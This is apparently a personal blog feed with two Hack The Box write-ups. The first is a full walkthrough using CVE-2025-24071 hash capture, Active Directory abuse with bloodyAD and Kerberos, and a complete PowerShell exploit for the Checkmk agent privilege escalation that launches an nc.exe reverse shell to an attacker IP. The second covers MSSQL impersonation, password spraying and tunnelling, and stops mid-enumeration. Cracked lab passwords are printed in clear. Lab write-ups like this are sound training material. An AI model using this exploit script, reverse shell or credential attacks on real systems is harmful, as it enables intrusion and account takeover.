&lt;p&gt;I created the following &lt;code&gt;.zip&lt;/code&gt; file by combining some files and tested the File Upload functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c7ba5d95e8108bb11234d2f7ea738bd5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/55881ab53f0874e9e06006fb8fdf22e7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/513867ede60f7b87b9d852d70cd15e89.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the request via &lt;code&gt;burp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffdc04b98826f8ca00526aa3186bebbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then ran a &lt;code&gt;gobuster&lt;/code&gt; scan in order to enumerate the possible upload location:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42842a5561ad188ca2615795d62d92b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems that there&apos;s a &lt;code&gt;/uploads&lt;/code&gt; directory but it shows up as &lt;code&gt;403 FORBIDDEN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28fd21926fd8202e4f831d3cda32159d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We are in fact unable to reach our uploaded &lt;code&gt;testing.zip&lt;/code&gt; file.&lt;/p&gt;
&lt;h3&gt;CVE-2025-24071&lt;/h3&gt;
&lt;p&gt;Looking around I was able to find a PoC which looked promising for this exact scenario:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ed9b228cffaabdeb484eec683b569c8d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking further I was able to find this &lt;a href=&quot;https://github.com/0x6rss/CVE-2025-24071_PoC&quot;&gt;github page&lt;/a&gt; which linked to &lt;a href=&quot;https://cti.monster/blog/2025/03/18/CVE-2025-24071.html&quot;&gt;this blog post&lt;/a&gt; on how to exploit it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d24a6eef556dde79717d043ee8350f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e39d89a6211694d5977f6dc1884c5f5d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f93f6bafdb898353bb891a387a2b5c60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks pretty straight forward, let&apos;s download over the PoC script.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9361f59e699cb272e5a840f04fa0c3fc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I just had to run &lt;code&gt;responder&lt;/code&gt; and upload the zip file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8bd699405eee299853933c8c8e3725d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/68c3789806aba6d3909a68e56443d002.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4bd0e6e1211e79c28e70cd59301ff971.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;john&lt;/h2&gt;
&lt;p&gt;This hash can easily be cracked using &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d664eee5b636a429aed2d5d0b57e912.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;web_svc
dksehdgh712!@#
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;h3&gt;nxc&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;nxc&lt;/code&gt; I started enumerating the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef66607fec2a42e4e5e13556f1688edc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f0a96860f1cc10a55f8a283d249655d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing notable was found within the shares.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14c602c71ccff16247dc0a1dae73836b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the above I was able to enumerate 1 other user present called &lt;em&gt;monitoring_svc&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;I then went ahead and started enumerating via &lt;code&gt;bloodhound-ce&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/301ab6795fed3b9ed5025842cf43c4d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18ec8a612013a88780cc0273c60886d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The path here looked pretty straightforward:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f917c9a5c8f386f30586a8e1c46633fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;AddSelf&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;bloodyAD&lt;/code&gt; I was able to add the &lt;em&gt;web_svc&lt;/em&gt; user to the &lt;strong&gt;IT_SUPPORT&lt;/strong&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff1f1a5381741dd54509bd60399dffea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ForceChangePassword&lt;/h3&gt;
&lt;p&gt;Next up I used &lt;code&gt;bloodyAD&lt;/code&gt; again to change the password of the &lt;em&gt;monitoring_svc&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7909bfcada1052156a6a1b35e01581bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Although the password change worked &lt;code&gt;nxc&lt;/code&gt; showed an error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/08b8ce821ee136c0594c7e98572c2b39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is because the &lt;em&gt;monitoring_svc&lt;/em&gt; user is part of the &lt;strong&gt;PROTECTED USERS&lt;/strong&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1efeb95d891509fb03324aaa8838d06b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;impacket-getTGT&lt;/h3&gt;
&lt;p&gt;After a reset I used the following commands to get the kerberos TGT&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2631a8feb76988e038a337d193924e3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
The TGT is needed in order to log in since &lt;strong&gt;PROTECTED USERS&lt;/strong&gt; blocks any and all &lt;code&gt;ntlm&lt;/code&gt; login attempts.
:::&lt;/p&gt;
&lt;p&gt;The following had to be changed within the &lt;code&gt;/etc/krb5.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0887d9ae9976ef7ead0b4d9bb0fd5f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/343bb90e42ed01d3fea61a1c548c0a6a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was now able to export the &lt;code&gt;.ccache&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/396b89018189a7a0613b6b9336908915.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;5986/TCP - winrms&lt;/h2&gt;
&lt;p&gt;:::important
For the below I had to install &lt;code&gt;evil-winrm-py&lt;/code&gt; to get it to work. This can be done using &lt;code&gt;pipx install &apos;evil-winrm-py[kerberos]&apos;&lt;/code&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec5b14e998091f115de60552ef922970.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd5b69b1b17955459bef0775b1572e43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;It was time to start enumerating the user and the host.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41afe3f876f487f2103277a5968faf27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then ran some automated enum:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05c0f0fec0b69ee6fa7962dd8242f56e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The following was found, unknown whether this would prove useful though.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1243137004be0d927490eaf3ffc9be0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28feb74f2e743c412ac8fdfdd54ad003.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that nothing was really found using &lt;code&gt;winpeas&lt;/code&gt; here.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2024-0670 - Check_mk_agent&lt;/h2&gt;
&lt;p&gt;:::note
My shell dropped and I couldn&apos;t reconnect via &lt;code&gt;evil-winrm-py&lt;/code&gt; so I looked for yet another solution
&lt;img src=&quot;attachments/83794582c239017103eb9d1ca4c18fbf.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/674f7424be3b9d634520e730b158de4c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After doing some searching I found &lt;a href=&quot;https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/&quot;&gt;the following blog post&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3786e883c986b50d5c9f26de4e02e5ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This blog also contained the PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59e4d432d688cabe3348bbf470e18ce4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!quote]+
In some cases, the software creates temporary files inside the directory C:\Windows\Temp that get executed afterwards. An attacker can leverage this to place write-protected malicious files in the directory beforehand. The files get executed by Checkmk with SYSTEM privileges allowing attackers to escalate their privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Attack chain&lt;/h3&gt;
&lt;p&gt;In order to exploit this CVE we&apos;ll have to use the following commands.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy over the &lt;code&gt;runascs.exe&lt;/code&gt; binary:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d499fbd8c16f4a60af97060732391c48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de6ba7d9000461d137f63beca85dce44.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For this step we&apos;ll have to download over the &lt;code&gt;nc.exe&lt;/code&gt; binary, but it needs to be placed inside the &lt;code&gt;C:\Windows\Temp&lt;/code&gt; directory:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e0d0773f64e8b703423053d9140fe43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Next up we will create a script called &lt;code&gt;shell.ps1&lt;/code&gt; which will exploit the &lt;strong&gt;Check_mk_agent&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;param(
    [int]$MinPID = 1000,
    [int]$MaxPID = 15000,
    [string]$LHOST = &quot;10.10.14.42&quot;, # CHANGE THIS
    [string]$LPORT = &quot;80&quot; # CHANGE THIS AS WELL
)

# 1. Define the malicious batch payload
$NcPath = &quot;C:\Windows\Temp\nc.exe&quot;
$BatchPayload = &quot;@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT&quot;

# 2. Find the MSI trigger
$msi = (
    Get-ItemProperty &apos;HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties&apos; |
    Where-Object { $_.DisplayName -like &apos;*mk*&apos; } |
    Select-Object -First 1
).LocalPackage

if (!$msi) {
    Write-Error &quot;Could not find Checkmk MSI&quot;
    return
}

Write-Host &quot;[*] Found MSI at $msi&quot;

# 3. Spray the Read-Only files
Write-Host &quot;[*] Seeding $MinPID to $MaxPID...&quot;

foreach ($ctr in 0..1) {
    for ($num = $MinPID; $num -le $MaxPID; $num++) {

        $filePath = &quot;C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd&quot;

        try {
            [System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
            Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue
        }
        catch {
            # 123
        }
    }
}

Write-Host &quot;[*] Seeding complete.&quot;

# 4. Launch the trigger
Write-Host &quot;[*] Triggering MSI repair...&quot;
Start-Process &quot;msiexec.exe&quot; -ArgumentList &quot;/fa `&quot;$msi`&quot; /qn /l*vx C:\Windows\Temp\cmk_repair.log&quot; -Wait

Write-Host &quot;[*] Trigger sent. Check listener.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script get&apos;s transfered over to the target and a listener is launched.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee7028d0dfd0e2db0a2c2653455de0d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/815727edbca4c55a20ed332d6d07f92a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy the file to &lt;code&gt;C:\Windows\Temp&lt;/code&gt; and run the following commands&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;copy shell.ps1 C:\Windows\Temp\shell.ps1

.\runascs.exe web_svc &apos;dksehdgh712!@#&apos; “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -E
xecutionPolicy Bypass -File C:\Windows\Temp\shell.ps1”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/555bca2e4c130df6c07ad1c648c072da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Profit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c427be9b0f7086fb791280dabea10d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;root.txt&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;attachments/773516ab4c9f697e51d582fa392c3cd3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/666c68b659aa4709c316508db594d91d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Eighteen</title><link>https://maxk9999.vercel.app/posts/eighteen</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/eighteen</guid><pubDate>Mon, 17 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.95

Creds:
kevin
iNa2we6haRj2gaw!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn eighteen.htb 

PORT     STATE SERVICE  REASON  VERSION
80/tcp   open  http     syn-ack Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.10.11.95:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.11.95:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
|_ssl-date: 2025-11-17T16:59:02+00:00; +6h59m59s from scanner time.
5985/tcp open  http     syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;p&gt;I tried the creds for &lt;code&gt;winrm&lt;/code&gt; but they didn&apos;t work, let&apos;s try them for port &lt;code&gt;80&lt;/code&gt; instead.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3daa73d8915bf76e895d3f1f0b42d73c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried the provided creds here but it didn&apos;t work here either.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d1687328763ad6a519cbd6f6c3bde59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1433/TCP - MSSQL&lt;/h2&gt;
&lt;p&gt;I then tried out the &lt;code&gt;mssql&lt;/code&gt; service where the creds did seem to work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/88893c48854548ebb122a6102f0d9aa3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I proceeded by logging in via &lt;code&gt;impacket-mssqlclient&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7255a87030ed9f03f5d0ed3afb652c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Contrary to the &lt;code&gt;nxc&lt;/code&gt; command, &lt;code&gt;mssqlclient&lt;/code&gt; only worked while omitting the &lt;code&gt;-windows-auth&lt;/code&gt; tag.
:::&lt;/p&gt;
&lt;p&gt;I wasn&apos;t able to enable the &lt;code&gt;xp_cmdshell&lt;/code&gt; so it was time for some enumeration.&lt;/p&gt;
&lt;h3&gt;enumeration&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/46e650e4679d0e34717d7844bf300760.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From this context I enumerated my current user further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/425cf5b09a9cab726d1ffbe4ad4e6cb2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then followed up with the following query which would enumerate all present users and which db&apos;s they could access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT d.database_id, d.name AS database_name, dp.name AS db_user, dp.type_desc FROM sys.databases d CROSS APPLY ( SELECT name, type_desc FROM sys.database_principals ) dp WHERE d.database_id = DB_ID();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2ee3b6864d36288f3c815555c1820163.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This confirms that we&apos;re currently stuck inside the &lt;code&gt;master&lt;/code&gt; db.&lt;/p&gt;
&lt;p&gt;Next up I looked for interesting accounts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT principal_id, name, type, type_desc, is_disabled, create_date FROM sys.server_principals ORDER BY type_desc, name;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e2f19f166acfcfb85bff5d75b182b66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the following command we can then check whether we can impersonate someone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT pr.name AS principal_with_right, pe.permission_name, pe.state_desc FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id WHERE pe.permission_name LIKE &apos;%IMPERSONATE%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ffaf2c4b5912d2e4eac52b5c8d4f22d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is good, let&apos;s check further:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT pe.permission_name, pe.state_desc, pe.class_desc, pe.major_id AS target_principal_id, sp_target.name AS target_principal_name FROM sys.server_permissions pe LEFT JOIN sys.server_principals sp_target ON pe.major_id = sp_target.principal_id WHERE pe.permission_name = &apos;IMPERSONATE&apos; AND pe.grantee_principal_id = (SELECT principal_id FROM sys.server_principals WHERE name=&apos;kevin&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e21530feb4939e487b380f6b7f150d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;impersonating appdev&lt;/h3&gt;
&lt;p&gt;It turns out we can impersonate the &lt;em&gt;appdev&lt;/em&gt; user, let&apos;s try it out.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EXECUTE AS LOGIN = &apos;appdev&apos;;
SELECT ORIGINAL_LOGIN() AS original_login, SUSER_SNAME() AS current_login, USER_NAME() AS db_user;
SELECT IS_SRVROLEMEMBER(&apos;sysadmin&apos;) AS is_sysadmin;
SELECT * FROM fn_my_permissions(NULL, &apos;SERVER&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the above commands I enumerated the permissions of the &lt;em&gt;appdev&lt;/em&gt; user, turns out we can now check out other databases with them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/76ff501793cd23fa874678bb36e03517.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out the &lt;code&gt;financial_planner&lt;/code&gt; database.&lt;/p&gt;
&lt;h3&gt;financial_planner&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e909a9f42a4a99a530e7cf05f1ebc7c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we don&apos;t see any non-default tables we&apos;ll assume everything&apos;s under &lt;code&gt;dbo&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT s.name AS schema_name, t.name AS table_name FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id ORDER BY schema_name, table_name;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fdc265410dceab8f18c521d9b4bd12cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice the &lt;code&gt;users&lt;/code&gt; table, let&apos;s check it out:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM dbo.users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5782ad0515287ac3b7a6ebe4ce2de26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is a &lt;code&gt;python werkzeug&lt;/code&gt; hash which I tried to crack using &lt;code&gt;hashcat&lt;/code&gt; but failed.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Hash cracking&lt;/h2&gt;
&lt;p&gt;Instead I used the following script to crack the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ecfd9f8e1310a2a1d82a806290164030.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
iloveyou1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using these creds I was able to log into the admin dashboard on port &lt;code&gt;80&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e9189b25aa7ea0d8900737af79da281.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Down at the bottom I noticed the previous user had tried exploiting the &lt;code&gt;flask&lt;/code&gt; templating language:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e213e326d7472576ca20ad119eca929.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This led to a death end though, leading me to check elsewhere.&lt;/p&gt;
&lt;h2&gt;Password Spraying&lt;/h2&gt;
&lt;p&gt;Instead I first used &lt;code&gt;nxc&lt;/code&gt; to enumerate the users on the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8abe8d85bedca905de181f9d22c7c74.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then password sprayed the found password against the enumerated users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73fb0c949caa9686a482e7790345fccc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;5985/TCP - WINRM&lt;/h2&gt;
&lt;p&gt;Using the following credentials I logged in:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adam.scott
iloveyou1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f06199cad4b5b749c0ff5a13c921fe6d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a801eef737e11d00f875e593f1ffda1c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I transferred over &lt;code&gt;winpeas&lt;/code&gt; and let it enumerate the target.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1cc758c55abcd1625a8ab1e279f0c6d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found some named pipes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07f04ca6c84a41b8270ec30401da6159.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However these could not be exploited:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6439b539d57a22c4ada9c2857f05e4a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This didn&apos;t show anything interesting though. One thing I did find though was the abundance of internally exposed AD ports:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/987a0ddcfd9bbe39de3ef522c9dbf498.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One way to expose these would be through &lt;strong&gt;Port Forwarding&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Tunneling&lt;/h2&gt;
&lt;p&gt;I then enumerated the target using &lt;code&gt;bloodhound&lt;/code&gt; but this didn&apos;t show anything useful either.
Instead I had to port forward first using &lt;code&gt;ligolo&lt;/code&gt; in order to expose the internal ports.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f17074f44d28ba352b9a03283b1b3b45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f58f0e14fd3551c810de38a7160def8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then set up the port forward:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e18c97c67a85cf21e54059907d40cf5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;bloodyAD&lt;/h2&gt;
&lt;p&gt;Once I had the port forward set up I tried some commands using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d7a6c0534d5b55201aea4756cb4f4b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
It was now able to reach the AD server (unlike previously), all that&apos;s left is to get the correct command down.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2f20022283f4cc0b1e8972bb3ed577c.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
